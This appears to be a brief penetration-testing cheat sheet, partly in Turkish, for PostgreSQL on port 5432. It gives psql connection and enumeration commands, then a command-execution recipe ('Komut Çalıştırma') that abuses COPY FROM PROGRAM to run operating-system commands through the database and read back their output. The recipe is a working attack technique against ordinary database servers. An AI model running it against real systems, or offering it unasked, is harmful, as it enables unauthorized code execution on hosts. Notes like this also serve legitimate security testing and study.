Postgresql - 5432

psql -h localhost -p 5432 -U postgre

\list # List databases
\c database # Select db
\d # List tables

select * from table_name;

Komut Çalıştırma

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;